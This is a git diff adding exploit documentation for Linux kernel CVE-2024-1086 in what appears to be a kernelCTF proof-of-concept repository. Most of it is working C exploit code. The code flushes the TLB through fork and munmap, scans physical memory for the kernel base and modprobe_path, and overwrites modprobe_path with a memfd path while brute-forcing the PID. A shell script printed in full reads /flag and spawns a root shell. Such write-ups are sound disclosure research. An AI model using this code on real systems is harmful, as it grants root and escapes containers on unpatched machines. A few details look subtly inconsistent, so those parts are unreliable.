diff --git a/pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/docs/exploit.md b/pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/docs/exploit.md index de111bd3..b4d60eb3 100644 --- a/pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/docs/exploit.md +++ b/pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/docs/exploit.md @@ -418,6 +418,26 @@ Here's the part with the PMD write, or put differently, the target-address-write `memdump_info->mem_status == MEM_STAT_DO_UPDATE` tells the loop to change the PMD area to a base of `memdump_info->iteration_base`. After it is done, it will change it to `memdump_info->mem_status == MEM_STAT_DO_IO`, letting the other thread know it can continue. ```c +static void flush_tlb(void *x, void *addr, size_t len) +{ + short *status; + + status = mmap(NULL, sizeof(short), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0); + + *status = FLUSH_STAT_INPROGRESS; + if (fork() == 0) + { + munmap(addr, len); + *status = FLUSH_STAT_DONE; + PRINTF_VERBOSE("[*] flush tlb thread gonna sleep\n"); + sleep(9999); + } + + SPINLOCK(*status == FLUSH_STAT_INPROGRESS); + + munmap(status, sizeof(short)); +} + static void privesc_flh_bypass(struct shared_info *memdump_info) { // ... (var declarations) @@ -473,4 +493,209 @@ static void privesc_flh_bypass(struct shared_info *memdump_info) // ... (more exploit stuff) } } +``` + +### Finding `modprobe_path` through physical scanning + +This part of the exploit is pretty obvious, it iterates through the entire physical memory and utilizes the KASLR bruteforce technique. By scanning for the kernel start in increments of `CONFIG_PHYSICAL_START`, and then scanning manually 80MiB kernel memroy, we can find `modprobe_path` with minimal effort. + +The signature for the first page of the kernel is automatically generated. + +```c +static int is_kernel_base(unsigned char *addr) +{ + // thanks python + if (memcmp(addr + 0x0, "\x48\x8d\x25\x51\x3f", 5) == 0 && + memcmp(addr + 0x7, "\x48\x8d\x3d\xf2\xff\xff\xff\xb9\x01\x01\x00\xc0\x48\x8b\x05", 15) == 0 && + memcmp(addr + 0x1a, "\x48\xc7\xc2\x00\x00\x00", 6) == 0 && + memcmp(addr + 0x21, "\x48\x29\xd0\x48\x01\xf8\x48\x89\xc2\x48\xc1\xea\x20\x0f\x30\x56\xe8", 17) == 0 && + memcmp(addr + 0x34, "\x00\x00\x5e", 3) == 0 && + memcmp(addr + 0x43, "\x48", 1) == 0 && + memcmp(addr + 0x4d, "\xe8", 1) == 0 && + memcmp(addr + 0x50, "\x00\x00\x48\x8d\x3d\xa7\xff\xff\xff\x56\xe8", 11) == 0 && + memcmp(addr + 0x5d, "\x00\x00\x5e\x48", 4) == 0 && + memcmp(addr + 0x6c, "\x00\x00\x00\x00\xe8", 5) == 0 && + memcmp(addr + 0x72, "\x00\x00\x00\x48\x8b\x04\x25", 7) == 0 && + memcmp(addr + 0x7d, "\x48", 1) == 0 && + memcmp(addr + 0x8d, "\x00\x00", 2) == 0) { + return 1; + } + + return 0; +} + +static void privesc_flh_bypass(struct shared_info *memdump_info) +{ + // ... (var declarations) + struct ip df_ip_header = { + .ip_v = 4, + .ip_hl = 5, + .ip_tos = 0, + .ip_len = 0xDEAD, + .ip_id = 0xDEAD, + .ip_off = 0xDEAD, + .ip_ttl = 128, + .ip_p = 69, + .ip_src.s_addr = inet_addr("1.1.1.1"), + .ip_dst.s_addr = inet_addr("255.255.255.255"), + }; + int child_pid; + + // ... (setup) + + pin_cpu(0); + child_pid = fork(); + + if (child_pid == 0) { + // PMD write loop (through IPC) + } else { + // allocate overlapping PUD (overlaps with PMD) + + + memdump_info->mem_status = MEM_STAT_DO_UPDATE; + SPINLOCK(memdump_info->mem_status == MEM_STAT_DO_UPDATE); + + // pud area is be overwritten using pmd area, but the TLB has not been flushed, so it is still cached with the old page + // this flushed the kernel area of the pud + flush_tlb(memdump_info, _pud_area, 0x400000); + printf("[*] value for PUD page: %016llx\n", *(unsigned long long*)_pud_area); + + // get physical kernel base based on initial page's bytes + // - this "kernel base" is actually the assembly bytecode of start_64() and variants + // - it's different per architecture and per compiler (clang produces different signature than gcc) + // - this can be derived from the vmlinux file by checking the second segment, which starts likely at binary offset 0x200000 + // - i.e: xxd ./vmlinux | grep '00200000:' + + // run this script instead of /sbin/modprobe + int modprobe_script_fd = memfd_create("", MFD_CLOEXEC); + int status_fd = memfd_create("", MFD_CLOEXEC); + + for (int kernel_pud_pte_index=0; kernel_pud_pte_index < 512; kernel_pud_pte_index++) { + // check for x64-gcc/clang signatures of kernel code segment at rest and at runtime + if (is_kernel_base(pud_kernel_area + kernel_pud_pte_index * 0x1000) == 0) + continue; + + memdump_info->kernel_addr = kernel_pud_pte_index * CONFIG_PHYSICAL_START; + memdump_info->iteration_base = (unsigned long long)memdump_info->kernel_addr; + printf("[+] found kernel phys addr: %016llx\n", memdump_info->kernel_addr); + + // scan 0x4000000 bytes from kernel base for modprobe path. if not found, just search for another kernel base + for (int i=0; i < 40; i++) { + void *pud_modprobe_addr; + + memdump_info->mem_status = MEM_STAT_DO_UPDATE; + SPINLOCK(memdump_info->mem_status == MEM_STAT_DO_UPDATE); + + flush_tlb(memdump_info, _pud_area, 0x400000); + PRINTF_VERBOSE("[*] scanning string '%s' @ %p in %016llx, pud val: %016llx...\n", modprobe_path, modprobe_path, memdump_info->iteration_base, *(unsigned long long*)pud_data_area); + pud_modprobe_addr = memmem(pud_data_area, 0x200000, modprobe_path, KMOD_PATH_LEN); + + memdump_info->iteration_base += 0x200000; + + if (pud_modprobe_addr == NULL) + continue; + + printf("[+] found modprobe path: '%s' @ %p (0x%016llx) by matching '%s' @ %p\n", (char*)pud_modprobe_addr, pud_modprobe_addr, memdump_info->iteration_base + (pud_modprobe_addr - pud_data_area), modprobe_path, modprobe_path); + + // ... (privesc using modprobe_path overwrite) + } + + printf("[*] failed to locate modprobe. trying to find new kernel base...\n"); + } + + printf("[!] failed to find kernel code segment... TLB flush fail?\n"); + memdump_info->exploit_status = EXPLOIT_STAT_FAIL; + exit(1); + } +} +``` + +### Overwriting `modprobe_path` / namespace escape + +In this part of the exploit, we overwrite the `modprobe_path` variable, and trigger it. + +We overwrite `modprobe_path` to `/proc//fd/`, which allows us to fileless execute it as root. The content of `privesc_script_fd` will be: + +```bash +#!/bin/sh +echo -n 1 > /proc/$exploit_pid/fd/$privesc_status_fd +cat /flag >/dev/console +/bin/sh 0/dev/console 2>&1 +``` + +Keep in mind: here we used $ for denoting variables dynamically inserted with `dprintf()`. + +The exploit_pid needs to be bruteforced since we need the PID from the root PID namespace for the fd hijack. We can check if we got the right PID by making sure it writes to `privesc_status_fd`, which will be checked for a value in the exploit so it knows when to stop. + +```c +static void privesc_flh_bypass(struct shared_info *memdump_info) +{ + // ... (var declarations) + int child_pid; + + // ... (setup) + + pin_cpu(0); + child_pid = fork(); + + if (child_pid == 0) { + // PMD write loop (through IPC) + } else { + // ... (setup PTE) + + // run this script instead of /sbin/modprobe + int modprobe_script_fd = memfd_create("", MFD_CLOEXEC); + int status_fd = memfd_create("", MFD_CLOEXEC); + + for (int kernel_pud_pte_index=0; kernel_pud_pte_index < 512; kernel_pud_pte_index++) { + // ... (filter kernel start page) + + for (int i=0; i < 40; i++) { + // ... (filter modprobe_path data) + + // ===== NEXT PHASE: privesc using modprobe_path overwrite ===== + + printf("[*] modprobe_script_fd: %d, status_fd: %d\n", modprobe_script_fd, status_fd); + + int status_cnt; + for (pid_t pid_guess=0; pid_guess < 65536; pid_guess++) + { + char buf; + + // overwrite the `modprobe_path` kernel variable to "/proc//fd/" + // - use /proc//* since container path may differ, may not be accessible, et cetera + // - it must be root namespace PIDs, and can't get the root ns pid from within other namespace + MEMCPY_HOST_FD_PATH(pud_modprobe_addr, pid_guess, modprobe_script_fd); + + if (pid_guess % 50 == 0) + printf("[+] setting new modprobe paths (i.e. '%s' @ %p)... matching modprobe_path scan var: '%s' @ %p\n", (char*)pud_modprobe_addr, pud_modprobe_addr, modprobe_path, modprobe_path); + + lseek(modprobe_script_fd, 0, SEEK_SET); // overwrite previous entry + dprintf(modprobe_script_fd, "#!/bin/sh\necho -n 1 > /proc/%u/fd/%u\ncat /flag >/dev/console\n/bin/sh 0/dev/console 2>&1\n", pid_guess, status_fd); + + // when pid is correct, run custom modprobe file as root, by triggering it by executing file with unknown binfmt + modprobe_trigger_memfd(); + + // indicates success and stops further bruteforcing + status_cnt = read(status_fd, &buf, 1); + if (status_cnt == 0) + continue; + + printf("[+] successfully breached the mainframe\n"); + + // prevents kernel crash due to bad pagemap + memdump_info->exploit_status = EXPLOIT_STAT_SUCCESS; + + sleep(9999); + } + } + + printf("[*] failed to locate modprobe. trying to find new kernel base...\n"); + } + + printf("[!] failed to find kernel code segment... TLB flush fail?\n"); + memdump_info->exploit_status = EXPLOIT_STAT_FAIL; + exit(1); + } +} ``` \ No newline at end of file